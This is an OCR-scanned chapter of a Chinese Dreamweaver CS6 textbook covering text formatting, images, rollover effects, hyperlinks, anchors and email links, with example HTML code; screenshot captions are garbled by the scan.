正确 地 表现 出 网 页 的 内 容 ; (2) 在 表现 内 容 的 同时 ， 实 现 网 页 效果 ; (3) 在 内 容 丰富 的 
同时 ， 做 到 页 面 整洁 美观 。 
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6.1 文本 的 输入 和 编辑 


文字 是 网 站 中 最 基本 的 内 容 ， 几 乎 所 有 的 网 站 都 需要 进行 文字 输入 和 排版 。Dreamweaver 的 文字 
输入 和 排版 与 Office 相似 ， 在 输入 文字 以 后 可 以 方便 地 利用 文字 工具 对 字体 与 段落 进行 设置 。 


6.1.1 输入 文本 


在 Dreamweaver CS6 的 设计 区 中 ， 可 以 直接 进行 文本 输入 。 输 入 文本 以 后 ， 会 在 代码 区 自动 生成 
相应 的 HTML 代码 ， 如 图 6-1 所 示 。 

(1) 打开 Dreamweaver CS6。 

(2) 在 Dreamweaver CS6 中 选择 “文件 ”| “新 建 ”命令 ， 新 建 一 个 HIML 网 页 。 

(3) 选择 “文件 ”| “另存 为 ”命令 ， 将 文件 保存 为 “E:\eg\eg6.html”。 

(4) 单 击 Dreamweaver CS6 的 设计 视图 ， 在 设计 视图 中 输入 如 图 6-1 所 示 的 文本 。 需 要 换行 时 ， 
按 Enter 键 换行 。 
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图 6-1 在 网 页 中 输入 文本 


(5) 在 网 页 中 输入 文本 ， 按 Enter 键 表示 新 建 一 个 段落 ， 会 与 原来 的 文本 产生 一 个 空 行 。 网 页 的 
代码 如 下 所 示 。Dreamweaver CS6 自动 生成 了 这 些 代码 。 
<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 我 的 个 人 主页 </title> 
</head> 
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<body> 

<p> 我 的 个 人 主页 </p> 

<p> 欢 迎 光临 我 的 个 人 主页 </p> 
</body> 

</html> 


(6) 保存 网 页 。 按 F12 键 运行 网 页 ， 效 果 如 图 6-2 所 示 。 


我 的 个 人 主页 
欢迎 光临 我 的 个 人 主页 


寺 计算 机 | 保护 模式 : 禁用 


图 6-2 网 页 中 的 文本 
6.1.2 ”设置 文本 属性 


文本 的 格式 就 是 文本 的 属性 。 在 设置 文本 属性 时 ， 可 以 设置 文本 的 大 小 、 字 体 、 颜 色 、 对 齐 方式 、 
加 粗 、 斜 体 等 格式 。 在 Dreamweaver CS6 的 设计 视图 中 ， 单 击 文本 再 按 住 鼠标 左 键 不 放 拖 动 ， 选 择 需 
要 设置 的 文本 ， 然 后 可 以 在 文本 的 “属性 ”面板 中 设置 文本 的 属性 。 

(1) 打开 6.1.1 节 的 文件 eg6.html。 

(2) 在 需要 设置 属性 的 文本 上 单 击 ， 并 按 住 鼠 标 左 键 拖 动 ， 选 择 一 行文 本 ， 如 图 6-3 所 示 。 
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6-3 选择 一 行文 本 


(3) 选择 一 行文 本 以 后 ， 可 以 在 文本 的 “属性 ”面板 中 设置 文本 的 属性 ， 并 对 文本 的 对 齐 方式 、 
字体 大 小 、 颜 色 、 字 体 、 加 粗 、 和 斜体 等 内 容 进 行 设置 ， 如 图 6-4 所 示 。 设 置 好 这 些 内 容 后 ， 在 设计 视 
图 中 单 击 其 他 的 内 容 时 ， 文 本 的 效果 就 会 刷新 。 
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6-4 设置 文本 格式 


(4) 在 “插入 ”工具 栏 中 有 常用 的 文本 工具 ， 分 别 实现 网 页 中 文本 的 格式 和 网 页 预定 义 格式 的 设 
置 。 如 图 6-5 所 示 是 “文本 ”工具 栏 。 


3 中 mw 吕 
沁 归 荡 菇 芝 


I 
范 
西 


tsSegsneEs 芭 区 包间 
性 兽 训 总 间 
Tay 


图 6-5 “文本 ”工具 栏 


(5) 选择 第 二 行文 本 ， 然 后 单 击 “ 文 本 ”工具 栏 中 的 “加 粗 ” 工 具 ， 对 文本 加 粗 。Dreamweaver CS6 
的 设计 视图 如 图 6-6 所 示 。 
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图 6.6 对 文本 进行 设置 图 6.7 网 页 中 的 文本 
6.1.3 ”使 用 <pre> 标 签 进行 排版 


<pre> 标 签 可 以 实现 网 页 文本 和 源 代码 文本 完全 相同 的 排版 ， 通 过 文本 格式 的 设置 可 以 设置 文本 的 
颜色 、 文 字 大 小 、 间 距 等 内 容 。 但 <pre> 标 签 内 的 文字 排列 、 换 行 、 空 格 等 排版 是 不 会 改变 的 ， 这 为 进 
行 单纯 的 文字 排版 带 来 很 多 便利 。 
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(1) 新 建 一 个 HTML 文件 ， 保 存 为 “FE:\eg\eg602.html”。 

(2) 在 网 页 的 <body> 后 面 ， 输 入 以 下 网 页 代码 。 

<pre> 

静夜 思 

床 前 明月 光 ， 

疑 是 地 上 霜 。 

举 头 望 明月 ， 

低头 思 故 乡 。 

</pre> 

(3) 如 图 6-8 所 示 是 Dreamweaver CS6 中 使 用 <pre> 标 签 进行 文本 的 排版 。 在 设计 视图 中 ， 会 保 
持 和 代码 相同 的 排版 。 

(4) 保存 网 页 。 按 F12 键 运行 这 个 网 页 ， 网 页 的 运行 效果 如 图 6-9 所 示 。 利 用 <pre> 标 签 ， 可 以 
使 HTML 代码 中 的 文本 和 网 页 中 的 文本 按照 相同 的 格式 进行 排版 ， 非 常 方便 。 
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图 6-8 利用 <pre> 标 签 进行 文本 排版 图 6-9 ” <pre> 标签 实现 的 排版 


6.1.4 输入 特殊 字符 


网 页 中 的 某 些 符号 在 键盘 上 是 不 能 实现 直接 输入 的 ， 这 时 就 需要 插入 特殊 符号 。 在 特殊 符号 中 ， 
最 常用 的 是 换行 符 和 空格 符号 。 

在 HTML 代码 中 ， 按 Enter 键 以 后 ， 产 生 的 一 个 代码 换行 是 不 会 在 网 页 中 显示 出 来 的 。 在 设计 视 
图 中 ， 按 Enter 键 以 后 会 产生 一 个 新 段落 ， 产 生 一 个 新 的 <p> 标 签 ， 但 是 中 间 会 空 出 一 行 。 要 实现 不 空 
行 的 换行 就 需要 插入 一 个 换行 符 。 换 行 符 的 HIML 标签 是 <br>。 在 HTML 代码 中 出 现 <br> 的 地 方 在 网 
页 中 会 显示 一 个 换行 且 没 有 空 行 。 可 以 在 “文本 ”工具 栏 的 最 后 一 个 特殊 符号 工具 中 插入 换行 符 。 如 
图 6-10 所 示 为 插入 特殊 符号 的 菜单 。 换 行 的 快捷 方式 是 Shift+Enter 键 。 

同样 ，HTML 代码 中 的 空格 也 是 不 显示 出 来 的 ， 为 了 在 网 页 中 显示 出 一 个 空格 ， 需 要 在 网 页 中 插 
入 一 个 空格 符号 。 空 格 符 的 HTML 代码 是 “&nbsp;”。 插 入 换行 符 的 快捷 方式 是 ShiftrCtrl+ 空 格 键 。 
用 插入 特殊 符号 的 菜单 可 以 实现 其 他 符号 的 插入 。 

(1) 打开 6.1.2 节 中 的 网 页 eg6.html。 
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图 6-10 插入 特殊 符号 
(2) 如 图 6-11 所 示 ， 在 代码 视图 中 ， 在 第 一 行文 本 中 单 击 ， 再 按 Enter 键 ， 在 代码 中 输入 一 个 换 


日 是 在 设计 视图 中 ， 文 本 是 没有 换行 的 。 
(3) 在 代码 视图 中 , 单 击 第 二 个 文本 , 使 光标 停留 在 文本 中 某 个 字 的 后 面 。 选择 “插入 ”| HTML | 


“特殊 字符 ”| “换行 符 ” 命 令 ， 在 文本 中 插入 一 个 换行 符 。 代 码 中 会 产生 一 个 <br> 标 签 ， 设 计 视 图 
的 文本 会 产生 一 个 换行 ， 如 图 6-12 所 示 。 
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图 6-11 代码 中 的 换行 不 能 实现 文本 的 换行 图 6-12 网 页 中 的 换行 符 
(4) 在 代码 视图 中 ， 双 击 选 择 第 二 行文 本 ， 在 代码 中 按 空格 键 输入 空格 ， 如 图 6-13 所 示 。 但 在 


设计 视图 中 并 没有 显示 空格 。 


代码 


(5) 选择 “插入 ”| HTML | “特殊 字符 ”| “不 换行 空格 ”命令 ， 在 文本 中 插入 一 个 空格 符 ， 
中 会 产生 一 个 “&nbsp;” 标 签 。 在 文本 中 每 个 字 的 后 面 添 加 不 换行 空格 ， 设 计 视图 中 的 文本 就 会 


产生 相应 的 空格 ， 如 图 6-14 所 示 。 


各 
答 
后 圭 cjatrong</p> 
EE 
Mr 
en EO en Re 
eae 我 的 个 人 主页 
欢迎 光临 
葡 迎 光 痢 
上 我 的 个 人 主页 我 的 个 


图 6-13 网 页 中 不 显示 代码 中 的 空格 图 6-14 文本 中 的 空格 
(6) 保存 网 页 。 按 F12 键 运行 这 个 网 页 ， 网 页 的 运行 效果 如 图 6-15 所 示 。 
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我 的 个 人 主页 


欢迎 光临 
我 的 


图 6-15 网 页 中 的 换行 符 与 空格 符 


6.2 在 网 页 中 插入 图 像 


网 页 中 有 很 多 内 容 ， 用 文本 并 不 能 全 部 表达 出 来 ， 而 图 片 更 能 给 人 留 下 深刻 的 印象 。 网 页 的 美观 
效果 常常 是 通过 各 种 图 片 表现 出 来 的 , 所 以 网 页 中 常 需要 插入 各 种 图 片 和 排版 图 片 来 实现 网 页 的 效果 。 


6.2.1 插入 图 像 


将 计算 机 中 的 图 片 文件 插入 到 网 页 中 , 就 是 网 页 中 的 图 像 。 在 Dreamweaver CS6 中 , 可 以 使 用 “ 常 
用 ”工具 栏 中 的 图 像 工 具 来 插入 一 张 图 像 。 插 入 图 像 以 后 ， 网 页 中 会 自动 生成 相应 的 HTML 代码 。 
(1) 在 工作 文件 来“E:\eg” 下 新 建 一 个 文件 夹 img， 将 本 书 光盘 “\ 源 文件 \06\ 图 片 文件 ”下 面 的 
5 张 图 片 复制 到 img 文件 夹 下 。 
(2) 新 建 一 个 HTML 网 页 文件 ， 保 存 到 img 文件 夹 下 。 
(3) 单 击 “ 常 用 ”工具 栏 中 的 “图 像 ” 工具， 在 弹出 的 “选择 图 像 源 文件 ”对 话 框 中 选择 预览 图 
像 文 件 ， 如 图 6-16 所 示 。 


| 文件 类 型 5) | 图像 文件 Ge aif jpe:# jpeg:pne 浊 一 


WL file: /HI |/woriwri 

村 :区 taletl 
| 在 尖 占 定 尺 中 更 有 Hi 的 霸 按 相对 王 

| 要 估 几 此 这 项 , 请 保 存 文件 


图 6-16 选择 图 像 文 件 


(4) 选择 需要 的 图 像 文件 以 后 ， 单 击 “ 确 定 ” 按 钮 完成 图 像 的 插入 ， 在 Dreamweaver CS6 的 设计 
视图 中 会 显示 插入 的 图 片 。 网 页 的 代码 区 中 会 自动 生成 图 像 的 代码 ， 如 图 6-17 所 示 。 


<!DOCTYPE html PUBLIC *-//W3C//DID XHTML 1.0 Transitional//EN™ 
“http://www.w3.org/TR/xhtnl1/DID/xhtmll-transitional .dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 

<head> 

‘<meta http-equiv="Content-Type” content="text/htnl; 
charset=utf-a" /> 


<cicle> 无 标题 文档 </zitley 


旺 


hoay> 
<img src="file:///E 恰 /06/eg/ing/a1. TPe" wideh="400" heighe="364" 


</body> 
</html> 


TR 


[< 避 所 名义 刁 轨 加 [I 


图 6-17 网 页 中 插入 的 图 像 文件 
6.2.2 ”设置 图 像 属性 


插入 一 个 图 片 以 后 ， 还 需要 对 图 片 进行 一 定 的 设置 。 图 像 可 以 对 高 度 、 宽 度 、 边 距 、 对 齐 方式 等 
属性 进行 设置 。 在 设计 视图 中 选择 这 张 图 片 ， 在 “属性 ”面板 中 就 会 显示 这 张 图 片 的 属性 。 

(1) 打开 6.2.1 节 的 文件 eg603.html， 在 网 页 中 再 次 插入 一 张 相同 的 图 片 ， 如 图 6-18 所 示 。 

(2) 选择 图 片 文件 。 在 设计 视图 中 单 击 一 张 图 片 ， 图 片 会 显示 边框 和 拖 动 点 ， 代 码 区 会 显示 这 张 
图 片 的 代码 ， 这 张 图 片 就 处 于 选中 编辑 状态 ， 如 图 6-19 所 示 。 


| SY cbodp cing arew"al. JPo" widrhe"156" heigher"123" /A I op 到 
[Ei *img src="al.JP6" width="156" height="123" /> 日 ER idth="156" height= 
se /oa 和 src="al. JPG" width="156" height="123” /> 
2 00 </he> no </body> 了 
上 3 
中 


| FPP 二 ,和 uu 


有 


图 6-18 网 页 中 插入 的 图 像 文件 图 6-19 选中 一 张 图 片 


(3) 设置 图 片 的 大 小 。 在 选中 图 片 以 后 ，“ 属 性 ”面板 中 会 显示 图 片 的 属性 ， 如 图 6-20 所 示 。 
在 “ 宽 ” 文 本 框 中 输入 “300”， 在 “高 ”文本 框 中 输入 “200”， 设 置 图 像 的 大 小 。 
(4) 在 设计 视图 中 ， 图 像 的 大 小 会 相应 地 改变 ， 如 图 6-21 所 示 。 
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属性 
图 估 ， 39K 。 宽 拉 300 门 源 文件 人 ) 全 /06/ezy/ing/al. JP G 局 苦 搞 m ~ 类 6) 无 四 
Tm 高 0 200 |、 贡 闪 中 9 口 绩 国字 

Hb 本 中 重 直 边 距 om) 目标 中 - 过 ®) | 村 BO A 

加 口 口 Y xp) | 呈 [ 矿 DW | 


6-20 设置 图 像 的 大 小 


(5) 设置 图 像 的 边框 。 如 图 6-20 所 示 ， 在 图 片 的 “属性 ”面板 中 ,设置 图 片 的 边框 为 4。 保 存 文 
件 并 按 F12 键 运行 网 页 ， 图 片 效 果 如 图 6-22 所 示 。 


图 6-21 在 设计 视图 中 图 像 的 大 小 图 6-22 设置 图 片 的 边框 


(6) 设置 蔡 换 。 选 择 图 片 后 ， 在 “替换 ”文本 框 中 输入 “向 日 英 ”。 当 这 一 张 图 片 无 法 打开 时 ， 
浏览 器 会 在 这 一 张 图 片 的 位 置 显示 出 设置 的 文字 来 代 蔡 图 片 的 内 容 。 属 性 设置 如 图 6-23 所 示 。 


属性 
图 像 ，39k 。 宽 0) 300 “下 源 文件 G) iee/sl JPG 命 口 普 搞 ) 加 5 v1 类 中 | 元 
mm 高 00 200 梯 挤 员 9D 纺 | 国 中 恤 

田中 要 直 边 距 W) 目标 名 ) -~ ww) 对 B@BO A 

内 口 口 V 水 过 并 中) 原始 ODOMW "| 


图 6-23 图 片 的 属性 
(7) 删除 文件 夹 中 的 图 片 文 件 aljpg， 再 保存 文件 并 运行 网 页 。 蔡 换文 字 的 效果 如 图 6-24 所 示 。 


无 村 本文 入 - Windows Internet 四 天 
€) E\work\write-mdf -| 好 | xX | sng Dp" 
实 收 训 夫 升天 标本 文档 夫 ~ 园 -已 串 ~ | 
x 向 B 甘 
x 
者 计算 机 | 保护 模式 .禁用 而 ” 忆 100% ~ 


6-24 ”网 页 中 的 替换 文本 


6.2.3 设置 图 像 超级 链接 


在 网 页 中 ， 图 片 可 以 和 文本 一 样 设置 超级 链接 ， 可 以 在 图 片 的 “属性 ”面板 中 设置 超级 链接 。 设 
置 超级 链接 的 图 片 ， 用 户 单 击 这 一 张 图 片 以 后 ， 会 链接 到 所 设置 的 网 页 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg604.html。 

(2) 按照 6.2.1 节 的 步骤 ， 在 网 页 中 插入 图 片 a3.JPG。 为 了 便于 比较 ， 需 要 再 插入 一 个 相同 的 


图 片 。 
(3) 单 击 选择 第 一 张 图 片 ， 如 图 6-25 所 示 。 


| 
日 


图 6-25 选择 一 张 图 片 


(4) 如 图 6-26 所 示 , 在 图 片 的 “属性 ”面板 中 , 在 “链接 ”文本 框 中 输入 一 个 URL 链接 “http://www. 
baidu.com”， 在 “目标 ”下 拉 菜 单 中 选择 _blank 选项 ， 表 示 新 建 一 个 窗口 。 


尾 性 

[| 图 像 ，32k 。 宽 0) 160 “ 门 源 文件 E) ine/ 3 JPG 全 口 普 执 中 > 类 0) 元 回 
wm 高 0 i22 19 机 入 中 D /rmbsm em Oy 号 纺 鲁 国定 

四 中 重 直 边 中 m) 目标 -加 四 村 BC 4 

名 DOV pibweo) WM SOWWM 了 | 


图 6-26 设置 图 片 的 超级 链接 


(5) 保存 文件 并 按 F12 键 运行 网 页 ， 图 片 超级 链接 的 效果 如 图 6-27 所 示 。 
GO ewe ls lx [Ee 


安 W 关 和 关 站 


图 6-27 网 页 中 的 图 片 链接 
(6) Dreamweaver CS6 自动 生成 了 网 页 中 图 片 的 代码 和 超级 链接 代码 。 网 页 代码 如 下 : 


<html xmIns="http://www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 图 像 </title> 

</head> 

<body> 


的 
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<a href="http://www.baidu.com" target="_blank"> 


<img src="a3.JPG" width="200" height="150" /></a> <!- 图 片 的 超级 链接 -> 
&nbsp;<img src="a3.JPG" width="200" height="150" /> <!- 没 有 超级 链接 的 图 片 -> 
</body> 

</html> 


6.2.4 图 像 的 边 距 设置 


垂直 边 距 与 水 平 边 距 表示 图 片 与 上 级 网 页 对 象 的 边 距 ， 可 以 实现 图 片 的 定位 。 例 如 ， 在 网 页 代码 
中 对 图 片 的 边 距 进行 如 下 设置 。 

(1) 打开 6.2.3 节 的 文件 eg604.html， 单 击 选择 第 一 张 图 片 。 

(2) 在 图 片 的 “属性 ”面板 中 ， 在 “垂直 边 距 ”文本 框 中 输入 “50”， 在 “水 平 边 距 ” 文 本 框 中 
输入 “50”。 图 片 的 边 距 设置 如 图 6-28 所 示 。 

(3) 如 图 6-29 所 示 为 在 设计 视图 中 图 片 的 边 距 。 


属性 
图 像 ，32K 。 宽 0) 160 门 源 文件 全 ) ine/%3 Tc ODO 
了 高 0 |122 外 袍 搞 D Wttp evaaca 包 局 册 
地 图 要 直 边 距 WV) 50 目标 加 -blank ~ we 
[NJ] DD DOV kp) 原始 GO HF | 
图 6-28 设置 图 片 的 边 距 图 6-29 在 设计 视图 中 的 图 片 边 距 


(4) 保存 文件 并 按 F12 键 运行 网 页 ， 图 片 边 距 的 效果 如 图 6-30 所 示 。 其 中 ， 水 平 边 距 是 指 图 片 
到 左边 边框 和 到 右边 图 片 的 距离 ， 垂 直 边 距 指 到 浏览 器 上 边 边框 和 到 下 面 行 基线 的 距离 。 


和 -Windows Intemet Explo | 
中 ploree 
SS 


6-30 ”图片 边 距 的 网 页 效果 


6.2.5 ”插入 鼠标 经 过 图 像 


在 网 页 中 有 一 种 特殊 效果 的 图 片 ， 当 鼠标 经 过 这 张 图 片 时 ， 图 片 会 转变 成 另外 一 张 图 片 ， 移 出 鼠 


标 时 ， 会 恢复 以 前 的 图 片 ， 这 就 是 鼠标 经 过 图 片 。 鼠 标 经 过 图 片 有 很 好 的 动态 效果 。 
(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg605.html。 
(2) 选择 “插入 ”| ”图 像 ”| “鼠标 经 过 对 象 ”命令 ， 弹 出 “插入 鼠标 经 过 图 像 ” 对 话 框 。 
(3) 单 击 “ 原 始 图 像 ”后面 的 “浏览 ”按钮 ,选择 图 片 a2.JPG。 单 击 “ 鼠 标 经 过 图 像 ” 后 面 的 “ 浏 
览 ” 按 钮 ， 在 出 现 的 对 话 框 中 选择 图 片 a3.JPG。 在 “ 蔡 换文 本 ”文本 框 中 输入 “ 花 条 ”， 在 “ 按 下 时 ， 
前 往 的 URL” 文 本 框 中 输入 “http://www.baidu.com”， 这 一 项 相当 于 设置 图 片 的 超级 链接 ， 如 图 6-31 
所 示 。 和 鼠标 经 过 图 片 需要 设置 原始 图 片 和 替换 图 片 ， 相 关 参 数 介绍 如 下 。 
图 像 名 称 : 鼠标 经 过 图 片 的 名 称 。 
原始 图 像 : 网 页 打开 时 显示 的 图 片 。 
鼠标 经 过 图 像 : 鼠标 经 过 时 蔡 换 的 图 片 。 
预 载 鼠标 经 过 图 像 : 预先 载 入 复 选 框 ， 选 中 时 ， 浏 览 器 会 在 没有 鼠标 经 过 事件 时 就 预先 加 载 
这 张 图 片 ， 否 则 ， 浏 览 器 会 在 鼠标 经 过 时 加 载 这 张 图 片 。 
回 ”替换 文本 : 鼠标 停留 在 这 张 图 片 时 ， 网 页 上 显示 的 文字 。 
回 按 下 时 ， 前 往 的 URL: 单 击 这 张 图 片 时 ， 链 接 的 地 址 。 
(4) 鼠标 经 过 图 像 的 设计 视图 如 图 6-32 所 示 。 在 设计 视图 中 ， 鼠 标 经 
Em PN 


加 


回回 回 


过 图 像 就 是 一 张 图 像 。 


国人 名 容 。Tnage 
折 风 图像，a2.JPG 
让 村 经 过 加，31.JPG 


很 时 ,三 的 URL Rttp:/f ww baidi con 


图 6-31 插入 鼠标 经 过 图 像 图 6-32 ”设计 视图 中 的 鼠标 经 过 图 像 
(5) 鼠标 经 过 图 像 的 图 像 改变 是 JavaScript 鼠标 事件 实现 的 。Dreamweaver 自动 生成 了 JavaScript 
事件 的 代码 。 网 页 中 的 HTML 代码 只 可 以 完成 网 页 内 容 的 描述 ， 而 不 能 完成 网 页 事件 和 网 页 动作 。 像 
鼠标 经 过 图 像 这 样 的 网 页 效果 都 是 通过 JavaScript 脚本 代码 来 实现 的 .下面 是 Dreamweaver CS6 自动 生 
成 的 代码 。 在 <head> 标 签 中 ， 还 有 比较 相关 的 函数 定义 。 


<body onload="MM_preloadImages('a3.JPG')"> <!- 导 入 图 像 一 > 

<a href="http://www.baidu.com" <!-- 设 置 链接 一 > 

onmouseout="MM_swaplmgRestore()" <!- 鼠 标 移出 时 的 动作 --> 

onmouseover="MM_swaplmage('Image1',",'a3.JPG',1)"> <!- 鼠 标 经 过 时 的 动作 --> 

<img src="a2.JPG" alt=" 花 条" name="Image1" <!- 图 片 的 代码 -> 
width="232" height="175" border="0" id="Image1" /></a> 

</body> 


(6) 保存 文件 并 按 F12 键 运行 网 页 ， 鼠 标 经 过 图 像 的 运行 效果 如 图 6-33 和 图 6-34 所 示 。 鼠 标 经 
过 这 张 图 像 时 ， 图 像 会 更 换 为 另外 一 张 图 像 。 
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潮 计算 机 | 保护 模式 : 茜 用 ”三 > 有 臣 100% ~ 


图 6-33 图 像 初始 状态 图 6-34 鼠标 经 过 时 更 换 图 像 


6.3 创建 网 页 链接 


网 页 中 各 个 页 面 间 的 互相 访问 和 罗 辑 关系 是 通过 超级 链接 实现 的 ， 单 击 链接 以 后 浏览 器 会 打开 链 
接 的 页 面 。 网 页 中 有 大 量 的 超级 链接 ， 可 以 通过 文字 、 图 片 、 按 钮 等 内 容 实现 链接 。 


6.3.1 创建 文字 链接 


文字 链接 是 网 页 中 最 常用 的 链接 。 可 以 通过 文字 链接 的 工具 实现 文字 链接 。 网 页 中 的 很 多 内 容 都 
是 超级 链接 。 像 网 易 、 新 浪 这 样 的 门户 网 站 的 首页 ， 几 乎 所 有 的 内 容 都 是 超级 链接 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg606.html。 

(2) 选择 “插入 ”| “超级 链接 ”命令 ， 弹 出 “超级 链接 ”对 话 框 。 

(3) 在 “文本 ”文本 框 中 输入 “百度 ”，“ 链 接 ” 设 置 为 http://www.baidu.com， 在 “目标 ”下 拉 
列表 框 中 选择 blank 选项 ， 在 “标题 ”文本 框 中 输入 “百度 ”， 如 图 6-35 所 示 。“ 超 级 链接 ”对 话 框 中 
的 相关 选项 如 下 。 

加 文本: 链接 的 文字 。 

链接 : 链接 的 URL。 

加 ”目标 : 链接 的 打开 目标 。 


文本 : 百度 
链接 :http://www. baidu. com > 癌 


目标 Elank 
标题: 百 曾 
访问 键 
Tab 链 索 引 


图 6-35 ”插入 文字 链接 


标题 : 链接 的 提示 。 当 鼠标 停留 在 这 个 链接 上 时 ， 会 显示 出 这 个 提示 。 

回 ”访问 键 : 链接 的 Alt 热 键 。 用 户 单 击 这 个 热 键 时 会 选择 这 个 链接 ， 但 不 会 打开 。 

Tab 键 索引 : Tab 键 响应 顺序 。 按 Tab 键 时 ， 网 页 上 的 链接 会 以 这 个 顺序 依次 选择 这 些 链接 。 

(4) 单 击 “确定 ”按钮 完成 设置 。 用 同样 的 方法 再 插入 两 个 链接 。 超 级 链接 的 设计 视图 如 图 6-36 
所 示 。 

(5) 保存 文件 并 按 F12 键 运行 网 页 ， 网 页 中 超级 链接 的 运行 效果 如 图 6-37 所 示 。 单 击 这 个 超级 
链接 时 会 新 建 一 个 浏览 器 窗口 打开 这 个 网 页 。 


到 计算 机 | 保护 模式 :禁用 人 8 ~ 不 100% ~ 
图 6-36 在 设计 视图 中 的 超级 链接 图 6-37 超级 链接 的 效果 
(6) Dreamweaver CS6 自动 生成 了 超级 链接 的 代码 。 超 级 链接 的 代码 如 下 : 


<body> 

<a href="http://www.baidu.com" title=" 百 度 " target="_blank"> 百 度 </a>&nbsp; 
<a href="http://www.sina.com" title="SINA" target="_blank"> 新 浪 </a>&nbsp; 
<a href="http://www.cctv.com" title="CCTV" target="_blank">CCTV</a>&nbsp; 
</body> 


(7) 也 可 以 选择 需要 链接 的 文本 ， 然 后 在 文本 的 “属性 ”面板 的 “链接 ”文本 框 中 输入 需要 链接 
的 URL, 在 “目标 ”下 拉 列 表 框 中 选择 链接 的 目标 。 在 “属性 ”面板 中 设置 超级 链接 ， 如 图 6-38 所 示 。 


属性 

[yu 格式 无 | 类 无 ~ BI 主 往 线 引 标题 m) 百度 

bcss WC) 无 > 柑 接 四 http: /fmm baidu com 7 全局。 目 慰 加 uk ~ 
列表 项 目 


图 6-38 在 “属性 ”面板 中 设置 超级 链接 
6.3.2 ”创建 锚 点 链接 


锚 点 链接 是 网 页 中 的 一 个 标记 。 当 网 页 中 有 很 多 屏 时 ， 链 接 可 以 直接 链接 到 这 一 个 标记 。 如 果 在 
链接 URL 中 需要 指向 这 个 命名 锚 点 ， 需 要 在 链接 地 址 中 加 “#” 再 加 网 页 中 命名 锚 点 的 名 称 。 例 如 ， 
<a href=info.html#a> 信 息 </a>， 这 个 链接 会 指向 info.html 的 命名 锚 点 a。 在 有 很 多 屏 的 网 页 中 加 入 命名 
锚 点 可 以 给 用 户 的 访问 带 来 很 多 便捷 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg607.html。 

(2) 将 光标 停留 在 <body> 标 签 后 面 ， 选 择 “ 插 入 ”| “命名 锚 记 ”命令 ， 弹 出 “命名 锚 记 ”对 话 
框 ， 如 图 6-39 所 示 。 在 “ 锚 记 名 称 ” 文 本 框 中 输入 “top”， 单 击 “ 确 定 ”按钮 完成 设置 。 这 个 命名 锚 
记 可 以 使 浏览 器 回 到 网 页 的 顶端 。 


@ 
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(3) 如 图 6-40 所 示 ， 再 插入 命名 锚 记 al、a2、a3， 并 输入 相应 的 提示 文本 。 
Pe 
由 
尘 命 名 锚 记 al 到 顶端 


鲁 记 名 称 : top 卉 命名 锚 记 a2 到 顶端 


图 6-39 “命名 锚 记 ”对 话 框 图 6-40 在 网 页 中 插入 命名 锚 记 


(4) 如 图 6-40 所 示 ， 在 网 页 的 顶端 插入 3 个 超级 链接 。 链 接 的 URL 地 址 分 别 为 eg607.html#al 、 
eg607.html#a2 和 eg607.htmlffa3 。 
(5) 在 每 个 命名 锚 记 的 提示 后 面 插入 一 个 超级 链接 “到 顶端 ”， 链 接 的 地 址 是 eg607.html#top。 
(6) 保存 文件 并 按 F12 键 运 行 网 页 ， 网 页 中 命名 锚 记 和 超级 链接 的 运行 效果 如 图 6-41 所 示 。 单 击 
一 个 链接 ， 会 链接 到 相应 的 命名 锚 记 上 ， 如 图 6-42 所 示 。 单 击 链接 “到 顶端 ”， 将 返回 到 网 页 的 顶端 。 
全 点-， ntemet bc el Eli) ne ee cl 
[ EL EGG 二 C1@ Le neWEyworwwi ~ |4+ [x S| 
| 


命名 锚 记 a3 到 项 遂 


| 计 熙 记 | RP 模式 本 用 胡 ” 拒 100% ~ | 师 计算 机 | 保护 人 共用 全” 我 100% ~ | 
图 6-41 网 页 中 的 命名 锚 记 和 链接 图 6-42 单 击 链接 网 页 会 链接 到 命名 锚 记 
(7) 链接 到 命名 锚 记 的 超级 链接 代码 如 下 : 


<p> 
<a href="eg607.html#a1"> 命 名 锚 记 a1</a> 


<a href="eg607.html#a2"> 命 名 锚 记 a2</a> 
<a href="eg607.html#a3"> 命 名 锚 记 a3</a> 
</p> 


(8) 网 页 中 的 命名 锚 记 代码 如 下 : 


<p> 

<a name="a1" id="a1"></a> 命 名 锚 记 al 
<a href="eg607.html#top"> 到 顶端 </a> 
</p> 


6.3.3 创建 电子 邮件 链接 


网 页 中 的 电子 邮件 链接 是 一 种 特殊 的 链接 ， 单 击 这 个 链接 以 后 ， 浏 览 器 会 自动 打开 邮件 发 送 软件 
Outlook Express， 并 且 新 建 一 封 邮件 ， 填 写 好 这 个 链接 的 邮件 地 址 。 电 子 邮 件 链接 可 以 方便 用 户 发 送 
邮件 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg608.html。 

(2) 将 光标 停留 在 <body> 标 签 后 面 ， 选 择 “ 插 入 ”| “电子 邮件 链接 ”命令 ， 弹 出 “电子 邮件 链 
接 ” 对 话 框 。 在 “文本 ”文本 框 中 输入 邮件 链接 的 提示 文本 “邮件 链接 ”， 在 “电子 邮件 ”文本 框 中 
输入 一 个 电子 邮件 地 址 ， 如 图 6-43 所 示 。 


文本 邮件 狼 接 
电子 邮件 SinaBsinacog | 


图 6-43 ”插入 邮件 链接 


(3) 保存 文件 并 按 F12 键 运行 网 页 ， 网 页 中 的 电子 邮件 链接 如 图 6-44 所 示 。 电 子 邮件 链接 和 一 
个 普通 超级 链接 是 相同 的 。 
(4) 单 击 电子 邮件 超级 链接 ， 会 自动 打开 Outlook Express 发 送 电子 邮件 ， 如 图 6-45 所 示 。 


= 
| 文件 四 舌 名 如 ”查看 W 插入 GD， 格式 @)， 工具 DJ) ” 避 
| 
E33 共 查 


加 切 。 复制 和 6。 撒 销 


珊 计 算 机 | 便 级 ~ 或 100% ~ [ 


图 6-44 网 页 中 的 电子 邮件 链接 6-45 单 击 电子 邮件 链接 打开 Outlook Express 
